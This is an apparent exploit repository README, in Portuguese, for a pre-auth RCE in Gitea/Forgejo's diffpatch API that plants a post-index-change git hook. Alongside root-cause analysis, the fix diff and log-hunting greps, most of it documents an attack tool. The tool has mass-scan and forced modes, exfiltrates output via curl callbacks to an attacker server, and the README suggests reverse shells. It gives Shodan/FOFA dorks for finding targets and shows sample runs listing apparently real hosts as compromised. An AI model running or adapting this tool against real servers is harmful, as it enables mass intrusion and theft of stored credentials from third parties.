
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 é uma vulnerabilidade de execução remota de código pré-autenticação de severidade crítica (CVSS 9.8) nas plataformas Git auto-hospedadas Gitea e Forgejo, afetando as versões 1.17 até 1.27.0.
A vulnerabilidade explora uma falha de design de clone bare no endpoint da API POST /api/v1/repos/{owner}/{repo}/diffpatch. O Gitea aplica patches fornecidos pelo usuário dentro de um clone temporário bare — onde a raiz do repositório é o próprio $GIT_DIR. Ao enviar o mesmo patch malicioso duas vezes, um atacante aciona um conflito add/add que faz o fallback de merge de três vias do Git (-3, Git 2.32+) gravar um hook post-index-change executável diretamente em $GIT_DIR/hooks/. O Git executa este hook automaticamente durante a atualização do index, resultando em execução arbitrária de comandos sob a conta de serviço do Gitea.
É necessário acesso de gravação no repositório — trivialmente obtido, pois o Gitea tem como padrão o registro aberto, sem verificação de e-mail, aprovação de administrador ou limites de criação de repositórios.
| Versão | Status |
|---|---|
| < 1.17 | Não afetada (rota diffpatch ainda não introduzida) |
| 1.17 — 1.27.0 | Vulnerável |
| 1.27.1+ | Corrigida |
Descoberta por: Shai Rod (NightRang3r), 28 de julho de 2026 Projeto: Gitea / Forgejo (serviço Git auto-hospedado) Componente: endpoint da API diffpatch, clone temporário bare
A vulnerabilidade tem origem em um único parâmetro em services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
Em um clone bare não há árvore de trabalho — a raiz do repositório é o $GIT_DIR. Portanto, um patch malicioso cujo caminho de arquivo seja hooks/post-index-change cai diretamente dentro do diretório real de hooks do Git, e não em uma árvore de trabalho isolada.
A invocação do git apply agrava ainda mais isso:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, então o caminho hooks/post-index-change mapeia para o diretório real de hooks.--cached não é infalível — o fallback de três vias -3 do Git 2.32+ grava os resultados mesclados na árvore de trabalho durante conflitos add/add, apesar da flag --cached.post-index-change automaticamente — após atualizar o index, o Git executa incondicionalmente este hook se ele existir e for executável. Nenhuma configuração é necessária.git update-index dentro do hook entra em deadlock porque o git apply mantém o lock do index. Use callbacks HTTP (curl) ou reverse shells para exfiltração de saída.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
A diferença entre um clone bare e um não bare — um único parâmetro booleano — determina se um caminho de patch é uma entrada inofensiva na árvore de trabalho ou um hook executável caindo diretamente no diretório interno do Git. A correção altera exatamente um caractere no diff (true → false), razão pela qual o commit foi rotulado como "refactor: git patch apply" em MISC, em vez de em SECURITY. A operação que deveria estar isolada ao index (--cached) foi silenciosamente comprometida pelo próprio mecanismo de merge de três vias do Git, e nenhuma proteção adicional impediu que arquivos de hook fossem criados no $GIT_DIR do clone bare.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
A exploração bem-sucedida resulta em execução remota de código como a conta de serviço do Gitea:
app.ini — credenciais do banco de dados, segredos SMTP, chaves de aplicativos OAuth, segredos LFS/JWTNenhuma conta na instância é necessária — o registro é aberto por padrão.
O Gitea corrigiu a vulnerabilidade na versão 1.27.1 (commit 470d34b) ao:
$GIT_DIR/hooks/--index podem interagir com a árvore de trabalho sob certas condiçõesTestGitPatchPrepare) que garante que o clone temporário seja não bare, verificando a existência de um subdiretório .git- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
A correção apareceu nas notas de versão 1.27.1 em MISC como
"refactor: git patch apply", em vez de em SECURITY, facilitando que administradores que analisam apenas entradas de changelog relacionadas à segurança percam essa atualização crítica. O mesmo padrão de clone bare emCherryPicktambém foi corrigido.
APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.
Não use contra sistemas sem permissão explícita do proprietário. Os autores não assumem nenhuma responsabilidade pelo uso indevido.
| Recurso | Link |
|---|
Descoberto por Shai Rod (NightRang3r). Sem afiliação com Gitea ou Forgejo.
| Arquivo | Linha(s) | Finalidade |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — criação do clone bare |
services/repository/files/patch.go | 206-209 | git apply com as flags --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste o estado do atacante |
services/repository/files/cherry_pick.go | ~170 | Mesmo padrão de clone bare em CherryPick (também corrigido) |
| Commit da Correção no Gitea | 470d34b |
| Pesquisador | NightRang3r |
| CWE-94 | Injeção de Código |
| Hook do Git | post-index-change |